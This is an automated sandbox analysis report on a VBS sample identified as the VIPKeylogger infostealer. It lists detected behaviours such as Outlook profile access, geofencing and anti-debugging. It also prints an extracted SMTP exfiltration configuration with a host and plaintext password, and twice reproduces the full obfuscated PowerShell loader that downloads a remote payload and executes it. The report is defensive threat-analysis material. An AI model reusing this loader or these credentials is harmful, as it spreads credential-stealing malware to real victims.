Analysis
- max time kernel
298s - max time network
203s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
09/10/2024, 10:24
General
- Target Opposer.vbs
- Size 96KB
- Sample241009-mfv56azank
- SHA256 5f4a0c512cd6be466cec83ce7091efc2d244cc6032b5ce552185a99afe9621e6
Score
10/10
Malware Config
Extracted
Family
-
vipkeylogger
Credentials
-
Protocol
smtp
-
Host
mail.cybertechllc.top
-
Port
587
-
Username
-
Password
7213575aceACE@@
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Blocklisted process makes network request 7 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Opposer.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Besungnes Colorize Afseksualiserede fluefangerens Beredskabsarbejde Sammensyr leveret #>;$Svundne='formumningens';<#Brddegulvene Unendurableness Kampanile #>;$Exterior=$Supertankernes+$host.UI;If ($Exterior) {$Overprotect++;}function Syndikerer($Oksestegens){$Akamatsu=$Depaganize+$Oksestegens.Length-$Overprotect; for( $Adenomalacia=5;$Adenomalacia -lt $Akamatsu;$Adenomalacia+=6){$Jgerforbund='Haploidies';$Hen+=$Oksestegens[$Adenomalacia];$nonremonstrance='dativobjekts';}$Hen;}function Rimtaagens113($Synchronised238){ . ($Triste) ($Synchronised238);}$Suitabilities=Syndikerer 'Bygg,MParlaoPo,taz SemiiTagryl ,nowlEx enaBerli/ Bill5Motac.R olp0 Irri Be ge( TertWTildriPr evn,astrdM.ngeoFrettwCarbosRhody VolapNSplitTCrapu Imp r1Pro r0Antho.Rei f0Trime; inie PaleoWPraeciBayrinFat.i6Masoc4lande;.odsb Doct,x Mel,6kepla4cosie;Overj SkoverTousevStart:unhee1Mus,c2Donny1Brydn.Gifte0Nigel)spids HenriGUncoueeroticBaronk Una oUde l/Tyndt2Udker0 Klon1Ste.b0Kolla0Boenp1B edr0 Tutt1Dista KnystFSchnai Immir.roche uranfBunddoSpeedxMahal/Revol1Crypt2Redar1.redo. Hind0Conse ';$Liniesorteringernes=Syndikerer 'r colu aktuszirkiE ockar tro -Milita BesvgSek aEH,perNRhyncT Misb ';$Valutahandleren=Syndikerer 'UnperhMetrotDoegltRe uspAppars Idio:Posit/ Ving/InterpUnderuSpurfbTenna-Blaas6 fjer3Overm4Osmop6EkspecBurez8 Unfa4Reexa8 Abit6Indba0DelggdBrint5 Un,o4Ovibo8Ru eg0 Indh3 Fan 9Kiddi3HerskaAfsig1,uske7Fraik9Blast9B.omafFor.kbMedle2 Sorr7 F rm7 D medEphydfKreitdViharc Geom. SkylrRyg k2Subga.PalimdTalkoe UhenvGlott/AngioUChartuAcolod ,nlafPladdoSkikkrPs.udsB ieskHenvee WairlD claikagedgTomkieA skysAlber.TroldjDeboraEnvoivSenniaUn er ';$Anspndtes21=Syndikerer ' binn>Skrif ';$Triste=Syndikerer 'Skyt iUlcerePulveX P.se ';$Rverbandernes253='Races';$Tyfonernes='\Optoelectronic.opc';Rimtaagens113 (Syndikerer 'Recov$Ferm GVin alBiopsOHjemgbOvoplaSten lUd an:UforauBnskrNunconwPut ia florrSkatteLungeS S at=Nonle$R tsgeDat enHieroV Cinn: EranA TranpKo liPSuperdRvestA artbtSedgiASp rt+ M na$Konstt ReexYcockafKonvoo ArchNB fanEStu,aRNeuron F.ndeHjh eSBogus ');Rimtaagens113 (Syndikerer ' Inte$ Biklg SpillMadago SverBFoppiaV,lgalDacty:Badevf NedsOTonekR tilbhNon oOJeersO PlneY.aphr=Sexua$JeremVSolipAHexislHjordU,ermiTKronpARefr.H LackAMultiNAfgladHorseLKnittEsen ircultie De unAfsku.War esSoubrpHyloml LigeIIsdesT Disk( Anor$ShephAPo dsNVe.tiSVi.urPuige NCo pldSh.sht udsteO erpsKiste2 Rej 1S iag) Cig ');Rimtaagens113 (Syndikerer 'Cenot[CouriN.amilEtropetelekt. yninsTran Eanvisr T,tuv VerviFrikoCOkku,EKlbesPDialoo SquiI SumpnAbedet UnfiMPinabA M sln vivaUnd.rgbetine uncoRAkill]Ch ba:Kvast:AngstsInbreESelskC attlUcer ir En,iI snegt .kudY,yggeP.eaturSa orOBll,btNongaO rawcSnrklOStaffL Cyt Algi= Pit Steg [Afk,aN HjemeTraf.tFodsl.BrassSFartbe BogsCPe,itU nduRLineaiBrneptYd,rpyMi itp BlakR TyrkOAfsnrtStag oSkndsCSyllaoU senlKantat eliaYA.dropBagt e vtt] Regl: tala:Jing TsubjeLSubalsStore1Undip2exer ');$Valutahandleren=$Forhooy[0];$Adenomalacianterinfluence=(Syndikerer 'Un lu$.ircuG tatslAnco ospndsB oncoaEksamLVejni:ConveA BataBmaoisEFlittyEl.ctaSkabsNPiccaT List=ObtrunForetETsendWFloss-ApoloOLabskbmini.JTorskeFrembcTovintTobac Su,ers H.okySttevSUltrat aculeTwirlmTrans.,kimoN Af.leIsomet Eksk.Sple WUdra eAtempbP osocFr mkLBughiiLandiea bumNNonphtun ru ');Rimtaagens113 ($Adenomalacianterinfluence);Rimtaagens113 (Syndikerer 'Indde$G byraT ndebDaydreDepenyCounta Reimns stetKr st.SporvHAn,lye Vo da eledCh ise UnprrDiagnsMamm,[Volit$ G,rmLRaceri Agapncair,i Dre eMetals CopioUbestr MicrtDugpueLand,r konoiSupern Jaw.gBogtreUmblerGo,ernUntr.eGagwrsEuphe]Pseud=N ugh$BrystSm,istu,ccepiAk iet.elvmaCeliobProgriKyss,lLymphi ExottDis.oiTaageeLickesHove, ');$Loquitur=Syndikerer 'Forre$Hemi aHo ombKulene Rec,y GenoaPatrunCy lit unac.PerchD Husdo LaquwWine nSpionlhippeoAdul a ToucdProudF irciKrudtlHalvpeBleph(Con a$ EnduVTarybaLste lD.sciuAdrestOptika InfahStoftaUni on MiradAeroplPrivaeSuccorBlomseUndern Hurd,Pyrog$suffuC SviniT lsyn Pu leUdlicmAmphiaCamiatP rvaoApiolg kalkrNsvisaAlberpBel.vhWhumpi .enteFertisEutec) nens ';$Cinematographies=$Unwares;Rimtaagens113 (Syndikerer 'Bet,a$ DemogAl irL CenoOMilieB omfoAJenspLD tta:Musc,fMuddeLCoultO ,stptCircuTMis peVinduSExilitGernieFor,a= Semi( fteTFo,loESylvas Pe,fT Vi,e-PatroPInddmAP odutMak bH Circ Rang $Hypo,C napsiNa lwnOblive so.iMFemina Lokktmens o Ant gLngesRPh.ena B ugPBrneihTvivli RaadeDiplos etro)O jek ');while (!$Flotteste) {Rimtaagens113 (Syndikerer 'Udspr$Unre g,ilbal Se.ooForagb eregaUpwell Indi:NoncaBboso iSkjolekat en augrnPlattaBrofolMalloe ummer tentswhenc=Adko $EkspltHeme.rUrgenuAnnale,emiw ') ;Rimtaagens113 $Loquitur;Rimtaagens113 (Syndikerer 'He gesBacc tCreepaMetaprSupe t ener-unr ms Undil ecreEFry,eESkr,epUlkes Scull4 Cour ');Rimtaagens113 (Syndikerer 'Bibl $inti,gG.ldflKjer oK aliBmusikATot.nLPickm:MythofU itelAntroOUn xpTAvlsmTElecteParisS Kn sTDegagEAdloe=Recha(DiploTPanfrEKodesS UddatKlini- F,rkpArbejaSa deTU frahdydsm Narco$RekorCUnderi A olNBrnefe Tu lM elfoaCampiTsubprORoekagEvakuRCasquATerrap UrodHP stei .ekseSonsiSTilhu)Nodeb ') ;Rimtaagens113 (Syndikerer ' Be k$Pr,yeG KortlrejoiO HetebFunktaU conLSprig:DisorLP ychU GrnsF TeolTRadioTCanosr nifiySaksekLukreKSciree KarrNMalefE ppu1Frith8Insis2Okker=Slalo$PyrazgSelesLBestyOOph ebDecura Cel L Keyn:DecargCatvurYodleAPels tHavbuTOveraeBloduN ge e+Flyab+Sur y%Minis$tinglFbli.poM lerROpskrHKachaOcloveOPus.iYSuds,.FuldmCmedicODepreuSpermNBlu hTProt ') ;$Valutahandleren=$Forhooy[$Lufttrykkene182];}$Jarringness=306033;$yarned=31022;Rimtaagens113 (Syndikerer 'Lssal$J.urnGOverkLApparo LullBHopskATilgalAng.i: TattIIslagLAgrinLKoka.iIso inFertio FletIPol tATeskenbaros D ag=Ro dy m.croGEpileEBehnetNon i-Af,haCKyll oOrdrenRanedTOliete,mbroNAnt ntRound Ato,l$Puru.CGeneaiSildeNCounteBosttm .ashAClockTStyltOAntisgAftenRTostiASigtvpFor aHUdstoi erraET psks Indi ');Rimtaagens113 (Syndikerer 'Yugos$WandegalnaflP obcoErstab Pinca .lmal Fast:ExquiO Dehyvent.eeBloodrTegneqDemaruForhuasirenlRegisiIdolifCaud iLe lae Skr,dPs.ud Nonca= Cite Irido[Gab nSworseyAflytsIronwtForkaeG,animstorm.Tr.ckCSlibro To.znPino vSaltae BookrPleomtG sra] Locu: F,ld:BkkenFKnockrSt.anoVik rmFremsBKontoaDe,mosAzelaeMakro6til a4UddatSCalictgteskrMer.ii Eve.n eldrgHabil(Garve$Tree I SkaflIndvul almniUnvasnAaregoNonphiFi,ifaGlyconKroni)Feuda ');Rimtaagens113 (Syndikerer 'taane$CoannGResepLFantiOholdiB Nedaa,hrisLDrnha:AutopS Opvap rllei atrnLyk.sA aksoeHjernn KodasFor a Pre.i=Sanse Motio[ FrafSSemidY retesMikrotI.fanEThornmW rdw.StnkeTFnamee neddXXylittpolem.Impare Tou,NTyne C omnaoTootsDHo ouiAffekn EnecgCromp]opstn: enti:BlindaBoodlsCom lC DomsIBetraiMosas. Lus GGuberEHeireT U losWatc TF rsvra elai DigiNvitriGBrunk(Bulle$FleinOJenlgvFaglrEFemaarLedigqHyaciUSn brA NodelAndi I Afr FDorthIDec mEThorsdElekt)Poy e ');Rimtaagens113 (Syndikerer ' ideu$.oolog NyheLPaak oLagopBCoachaS derldi il:DraugSMadamT SangAOpiumfFilmkfInquie,imelrTreaaN KaadeMelodsRd,rv= dbyt$NedarsTermiPUncouIBeslun AsseaTurpeE MiliNA forS Halv.CohelsD.faiu H.ttbOuab sOdomeT L ndR ejslIUnconn.abbyGFrih (hamme$N trijOpta aDespoRSter,RA.freIFeelenMethigUna.cNAfvareGeisss cabosMatte, rema$JodtiyFlyvrAIdentr T konQuoseETrensD Mi i)Nitra ');Rimtaagens113 $Staffernes;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Besungnes Colorize Afseksualiserede fluefangerens Beredskabsarbejde Sammensyr leveret #>;$Svundne='formumningens';<#Brddegulvene Unendurableness Kampanile #>;$Exterior=$Supertankernes+$host.UI;If ($Exterior) {$Overprotect++;}function Syndikerer($Oksestegens){$Akamatsu=$Depaganize+$Oksestegens.Length-$Overprotect; for( $Adenomalacia=5;$Adenomalacia -lt $Akamatsu;$Adenomalacia+=6){$Jgerforbund='Haploidies';$Hen+=$Oksestegens[$Adenomalacia];$nonremonstrance='dativobjekts';}$Hen;}function Rimtaagens113($Synchronised238){ . ($Triste) ($Synchronised238);}$Suitabilities=Syndikerer 'Bygg,MParlaoPo,taz SemiiTagryl ,nowlEx enaBerli/ Bill5Motac.R olp0 Irri Be ge( TertWTildriPr evn,astrdM.ngeoFrettwCarbosRhody VolapNSplitTCrapu Imp r1Pro r0Antho.Rei f0Trime; inie PaleoWPraeciBayrinFat.i6Masoc4lande;.odsb Doct,x Mel,6kepla4cosie;Overj SkoverTousevStart:unhee1Mus,c2Donny1Brydn.Gifte0Nigel)spids HenriGUncoueeroticBaronk Una oUde l/Tyndt2Udker0 Klon1Ste.b0Kolla0Boenp1B edr0 Tutt1Dista KnystFSchnai Immir.roche uranfBunddoSpeedxMahal/Revol1Crypt2Redar1.redo. Hind0Conse ';$Liniesorteringernes=Syndikerer 'r colu aktuszirkiE ockar tro -Milita BesvgSek aEH,perNRhyncT Misb ';$Valutahandleren=Syndikerer 'UnperhMetrotDoegltRe uspAppars Idio:Posit/ Ving/InterpUnderuSpurfbTenna-Blaas6 fjer3Overm4Osmop6EkspecBurez8 Unfa4Reexa8 Abit6Indba0DelggdBrint5 Un,o4Ovibo8Ru eg0 Indh3 Fan 9Kiddi3HerskaAfsig1,uske7Fraik9Blast9B.omafFor.kbMedle2 Sorr7 F rm7 D medEphydfKreitdViharc Geom. SkylrRyg k2Subga.PalimdTalkoe UhenvGlott/AngioUChartuAcolod ,nlafPladdoSkikkrPs.udsB ieskHenvee WairlD claikagedgTomkieA skysAlber.TroldjDeboraEnvoivSenniaUn er ';$Anspndtes21=Syndikerer ' binn>Skrif ';$Triste=Syndikerer 'Skyt iUlcerePulveX P.se ';$Rverbandernes253='Races';$Tyfonernes='\Optoelectronic.opc';Rimtaagens113 (Syndikerer 'Recov$Ferm GVin alBiopsOHjemgbOvoplaSten lUd an:UforauBnskrNunconwPut ia florrSkatteLungeS S at=Nonle$R tsgeDat enHieroV Cinn: EranA TranpKo liPSuperdRvestA artbtSedgiASp rt+ M na$Konstt ReexYcockafKonvoo ArchNB fanEStu,aRNeuron F.ndeHjh eSBogus ');Rimtaagens113 (Syndikerer ' Inte$ Biklg SpillMadago SverBFoppiaV,lgalDacty:Badevf NedsOTonekR tilbhNon oOJeersO PlneY.aphr=Sexua$JeremVSolipAHexislHjordU,ermiTKronpARefr.H LackAMultiNAfgladHorseLKnittEsen ircultie De unAfsku.War esSoubrpHyloml LigeIIsdesT Disk( Anor$ShephAPo dsNVe.tiSVi.urPuige NCo pldSh.sht udsteO erpsKiste2 Rej 1S iag) Cig ');Rimtaagens113 (Syndikerer 'Cenot[CouriN.amilEtropetelekt. yninsTran Eanvisr T,tuv VerviFrikoCOkku,EKlbesPDialoo SquiI SumpnAbedet UnfiMPinabA M sln vivaUnd.rgbetine uncoRAkill]Ch ba:Kvast:AngstsInbreESelskC attlUcer ir En,iI snegt .kudY,yggeP.eaturSa orOBll,btNongaO rawcSnrklOStaffL Cyt Algi= Pit Steg [Afk,aN HjemeTraf.tFodsl.BrassSFartbe BogsCPe,itU nduRLineaiBrneptYd,rpyMi itp BlakR TyrkOAfsnrtStag oSkndsCSyllaoU senlKantat eliaYA.dropBagt e vtt] Regl: tala:Jing TsubjeLSubalsStore1Undip2exer ');$Valutahandleren=$Forhooy[0];$Adenomalacianterinfluence=(Syndikerer 'Un lu$.ircuG tatslAnco ospndsB oncoaEksamLVejni:ConveA BataBmaoisEFlittyEl.ctaSkabsNPiccaT List=ObtrunForetETsendWFloss-ApoloOLabskbmini.JTorskeFrembcTovintTobac Su,ers H.okySttevSUltrat aculeTwirlmTrans.,kimoN Af.leIsomet Eksk.Sple WUdra eAtempbP osocFr mkLBughiiLandiea bumNNonphtun ru ');Rimtaagens113 ($Adenomalacianterinfluence);Rimtaagens113 (Syndikerer 'Indde$G byraT ndebDaydreDepenyCounta Reimns stetKr st.SporvHAn,lye Vo da eledCh ise UnprrDiagnsMamm,[Volit$ G,rmLRaceri Agapncair,i Dre eMetals CopioUbestr MicrtDugpueLand,r konoiSupern Jaw.gBogtreUmblerGo,ernUntr.eGagwrsEuphe]Pseud=N ugh$BrystSm,istu,ccepiAk iet.elvmaCeliobProgriKyss,lLymphi ExottDis.oiTaageeLickesHove, ');$Loquitur=Syndikerer 'Forre$Hemi aHo ombKulene Rec,y GenoaPatrunCy lit unac.PerchD Husdo LaquwWine nSpionlhippeoAdul a ToucdProudF irciKrudtlHalvpeBleph(Con a$ EnduVTarybaLste lD.sciuAdrestOptika InfahStoftaUni on MiradAeroplPrivaeSuccorBlomseUndern Hurd,Pyrog$suffuC SviniT lsyn Pu leUdlicmAmphiaCamiatP rvaoApiolg kalkrNsvisaAlberpBel.vhWhumpi .enteFertisEutec) nens ';$Cinematographies=$Unwares;Rimtaagens113 (Syndikerer 'Bet,a$ DemogAl irL CenoOMilieB omfoAJenspLD tta:Musc,fMuddeLCoultO ,stptCircuTMis peVinduSExilitGernieFor,a= Semi( fteTFo,loESylvas Pe,fT Vi,e-PatroPInddmAP odutMak bH Circ Rang $Hypo,C napsiNa lwnOblive so.iMFemina Lokktmens o Ant gLngesRPh.ena B ugPBrneihTvivli RaadeDiplos etro)O jek ');while (!$Flotteste) {Rimtaagens113 (Syndikerer 'Udspr$Unre g,ilbal Se.ooForagb eregaUpwell Indi:NoncaBboso iSkjolekat en augrnPlattaBrofolMalloe ummer tentswhenc=Adko $EkspltHeme.rUrgenuAnnale,emiw ') ;Rimtaagens113 $Loquitur;Rimtaagens113 (Syndikerer 'He gesBacc tCreepaMetaprSupe t ener-unr ms Undil ecreEFry,eESkr,epUlkes Scull4 Cour ');Rimtaagens113 (Syndikerer 'Bibl $inti,gG.ldflKjer oK aliBmusikATot.nLPickm:MythofU itelAntroOUn xpTAvlsmTElecteParisS Kn sTDegagEAdloe=Recha(DiploTPanfrEKodesS UddatKlini- F,rkpArbejaSa deTU frahdydsm Narco$RekorCUnderi A olNBrnefe Tu lM elfoaCampiTsubprORoekagEvakuRCasquATerrap UrodHP stei .ekseSonsiSTilhu)Nodeb ') ;Rimtaagens113 (Syndikerer ' Be k$Pr,yeG KortlrejoiO HetebFunktaU conLSprig:DisorLP ychU GrnsF TeolTRadioTCanosr nifiySaksekLukreKSciree KarrNMalefE ppu1Frith8Insis2Okker=Slalo$PyrazgSelesLBestyOOph ebDecura Cel L Keyn:DecargCatvurYodleAPels tHavbuTOveraeBloduN ge e+Flyab+Sur y%Minis$tinglFbli.poM lerROpskrHKachaOcloveOPus.iYSuds,.FuldmCmedicODepreuSpermNBlu hTProt ') ;$Valutahandleren=$Forhooy[$Lufttrykkene182];}$Jarringness=306033;$yarned=31022;Rimtaagens113 (Syndikerer 'Lssal$J.urnGOverkLApparo LullBHopskATilgalAng.i: TattIIslagLAgrinLKoka.iIso inFertio FletIPol tATeskenbaros D ag=Ro dy m.croGEpileEBehnetNon i-Af,haCKyll oOrdrenRanedTOliete,mbroNAnt ntRound Ato,l$Puru.CGeneaiSildeNCounteBosttm .ashAClockTStyltOAntisgAftenRTostiASigtvpFor aHUdstoi erraET psks Indi ');Rimtaagens113 (Syndikerer 'Yugos$WandegalnaflP obcoErstab Pinca .lmal Fast:ExquiO Dehyvent.eeBloodrTegneqDemaruForhuasirenlRegisiIdolifCaud iLe lae Skr,dPs.ud Nonca= Cite Irido[Gab nSworseyAflytsIronwtForkaeG,animstorm.Tr.ckCSlibro To.znPino vSaltae BookrPleomtG sra] Locu: F,ld:BkkenFKnockrSt.anoVik rmFremsBKontoaDe,mosAzelaeMakro6til a4UddatSCalictgteskrMer.ii Eve.n eldrgHabil(Garve$Tree I SkaflIndvul almniUnvasnAaregoNonphiFi,ifaGlyconKroni)Feuda ');Rimtaagens113 (Syndikerer 'taane$CoannGResepLFantiOholdiB Nedaa,hrisLDrnha:AutopS Opvap rllei atrnLyk.sA aksoeHjernn KodasFor a Pre.i=Sanse Motio[ FrafSSemidY retesMikrotI.fanEThornmW rdw.StnkeTFnamee neddXXylittpolem.Impare Tou,NTyne C omnaoTootsDHo ouiAffekn EnecgCromp]opstn: enti:BlindaBoodlsCom lC DomsIBetraiMosas. Lus GGuberEHeireT U losWatc TF rsvra elai DigiNvitriGBrunk(Bulle$FleinOJenlgvFaglrEFemaarLedigqHyaciUSn brA NodelAndi I Afr FDorthIDec mEThorsdElekt)Poy e ');Rimtaagens113 (Syndikerer ' ideu$.oolog NyheLPaak oLagopBCoachaS derldi il:DraugSMadamT SangAOpiumfFilmkfInquie,imelrTreaaN KaadeMelodsRd,rv= dbyt$NedarsTermiPUncouIBeslun AsseaTurpeE MiliNA forS Halv.CohelsD.faiu H.ttbOuab sOdomeT L ndR ejslIUnconn.abbyGFrih (hamme$N trijOpta aDespoRSter,RA.freIFeelenMethigUna.cNAfvareGeisss cabosMatte, rema$JodtiyFlyvrAIdentr T konQuoseETrensD Mi i)Nitra ');Rimtaagens113 $Staffernes;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\syswow64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_l3cfdeel.nfy.ps1
Optoelectronic.opc
memory/2172-44-0x0000000007FC0000-0x0000000008564000-memory.dmp
memory/2172-39-0x0000000005B90000-0x0000000005BDC000-memory.dmp
memory/2172-46-0x0000000008570000-0x000000000CBC6000-memory.dmp
memory/2172-43-0x0000000006D60000-0x0000000006D82000-memory.dmp
memory/2172-42-0x0000000006DC0000-0x0000000006E56000-memory.dmp
memory/2172-22-0x0000000004610000-0x0000000004646000-memory.dmp
memory/2172-23-0x0000000004C80000-0x00000000052A8000-memory.dmp
memory/2172-24-0x00000000052E0000-0x0000000005302000-memory.dmp
memory/2172-25-0x0000000005380000-0x00000000053E6000-memory.dmp
memory/2172-26-0x00000000054A0000-0x0000000005506000-memory.dmp
memory/2172-36-0x0000000005550000-0x00000000058A4000-memory.dmp
memory/2172-41-0x0000000006110000-0x000000000612A000-memory.dmp
memory/2172-38-0x0000000005B50000-0x0000000005B6E000-memory.dmp
memory/2172-40-0x0000000007390000-0x0000000007A0A000-memory.dmp
memory/2668-17-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp
memory/2668-14-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp
memory/2668-21-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp
memory/2668-18-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp
memory/2668-2-0x00007FFEE6433000-0x00007FFEE6435000-memory.dmp
memory/2668-3-0x0000020369040000-0x0000020369062000-memory.dmp
memory/2668-13-0x00007FFEE6430000-0x00007FFEE6EF1000-memory.dmp
memory/3404-57-0x0000000025490000-0x0000000025522000-memory.dmp
memory/3404-50-0x0000000001070000-0x00000000022C4000-memory.dmp
memory/3404-52-0x0000000024930000-0x00000000249CC000-memory.dmp
memory/3404-54-0x00000000255C0000-0x0000000025782000-memory.dmp
memory/3404-55-0x0000000024D50000-0x0000000024DA0000-memory.dmp
memory/3404-51-0x0000000001070000-0x00000000010B8000-memory.dmp
memory/3404-58-0x0000000024E20000-0x0000000024E2A000-memory.dmp